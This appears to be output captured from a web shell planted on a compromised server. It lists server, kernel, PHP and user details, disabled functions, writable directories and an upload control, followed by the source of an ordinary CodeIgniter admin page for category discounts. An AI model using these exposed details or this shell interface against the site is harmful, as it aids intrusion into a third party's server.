https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/asietex.co.id/public_html/application/views/admin/category_discount/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/asietex.co.id/public_html/application/views/admin/category_discount/index.php
<div class="row">
    <div class="col-sm-12">
         <p><a href="<?= base_url('admin/products'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Back to Products Page</a></p>
        <h2>Category Discount Administration</h2>
        <p><strong>ONLY FOR RETAIL</strong></p>
        <?= $this->session->flashdata('success'); //to display success message ?> 
        <?= $this->session->flashdata('result'); //to display result message ?> 
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row --> 

 <?= form_open('admin/category_discount/update_quick_edit'); ?>

 <div style="text-align:right;">
    <input type="submit" name="update_discount" value="UPDATE DISCOUNTS" class="btn btn-primary">
</div>

<div class="row">
    <div class="col-sm-12">
       <div class="table-responsive">  
       <table class="table table-striped">
        <thead> 
            <tr>
                <th>Category Name</th> 
                <th>Product Discount (%)</th>  
                <th>Discount Active?<br>(if active, product will use global category discount<br> instead of individual product discount)</th> 
            </tr>
        </thead>
        <tbody>
            <?php if(count($parent_categories)) : ?> 
            <?php foreach($parent_categories as $category): ?>
                <tr>
                    <td><?= ucfirst($category->category); ?></td>
                    <td><input class="form-control" value="<?= $category->percentage_discount; ?>" type="text" name="discount[<?= $category->id_categories; ?>][]" required></td>
                    <td>
                        <select name="is_active[<?= $category->id_categories; ?>][]" class="form-control">
                            <option value="no"
                                <?php if($category->discount_active =='no') : ?>
                                    selected
                                <?php endif; ?>    
                            >Not Active</option>
                            <option value="yes"
                                     <?php if($category->discount_active =='yes') : ?>
                                    selected
                                <?php endif; ?>    
                            >Active</option>
                        </select>
                    </td>
                </tr>

                <?php
                //GET CATEGORY LEVEL 2
                $this->db->select('id_categories, category, parent, priority, status, percentage_discount, discount_active')->from('categories')->where('parent', $category->id_categories);
                $categories_level2 = $this->db->get()->result();
                ?>
                <?php foreach($categories_level2 as $category2): ?>

                    <tr>
                        <td>- <?= ucfirst($category2->category); ?></td>
                         <td><input class="form-control" value="<?= $category2->percentage_discount; ?>" type="text" name="discount[<?= $category2->id_categories; ?>][]" required></td>
                         <td>
                            <select name="is_active[<?= $category2->id_categories; ?>][]" class="form-control">
                                <option value="no"
                                    <?php if($category2->discount_active =='no') : ?>
                                        selected
                                    <?php endif; ?>    
                                >Not Active</option>
                                <option value="yes"
                                     <?php if($category2->discount_active =='yes') : ?>
                                        selected
                                    <?php endif; ?>    
                                >Active</option>
                            </select>
                        </td>
                    </tr>

                    <?php
                    //GET CATEGORY LEVEL 3
                    $this->db->select('id_categories, category, parent, priority, status, percentage_discount, discount_active')->from('categories')->where('parent', $category2->id_categories);
                    $categories_level3 = $this->db->get()->result();
                    ?>
                    <?php foreach($categories_level3 as $category3): ?>

                        <tr>
                            <td>-- <?= ucfirst($category3->category); ?></td>
                             <td><input class="form-control" value="<?= $category3->percentage_discount; ?>" type="text" name="discount[<?= $category3->id_categories; ?>][]" required></td>
                             <td>
                                <select name="is_active[<?= $category3->id_categories; ?>][]" class="form-control">
                                    <option value="no"
                                         <?php if($category3->discount_active =='no') : ?>
                                            selected
                                        <?php endif; ?>    
                                    >Not Active</option>
                                    <option value="yes"
                                         <?php if($category3->discount_active =='yes') : ?>
                                            selected
                                        <?php endif; ?>    
                                    >Active</option>
                                </select>
                            </td>
                        </tr>

                    <?php endforeach; ?>
                <?php endforeach; ?>
            <?php endforeach; ?>
           
           
            <?php else: ?>
                <tr>
                <td colspan="3">We could not find any category.</td>
                </tr>
            <?php endif; ?>

        </tbody> 
    </table>
    </div><!-- end table class responsive -->
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->    


<div class="row">
    <div class="col-sm-12">
        <?php
        //create pagination...
        echo '<p style="text-align:center;">' . $this->pagination->create_links() . '</p>';
        ?>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->  

 <div style="text-align:right;">
    <input type="submit" name="update_discount" value="UPDATE DISCOUNTS" class="btn btn-primary">
</div>

<?= form_close(); ?>

<br>

https://t.me/RX1948 - 2025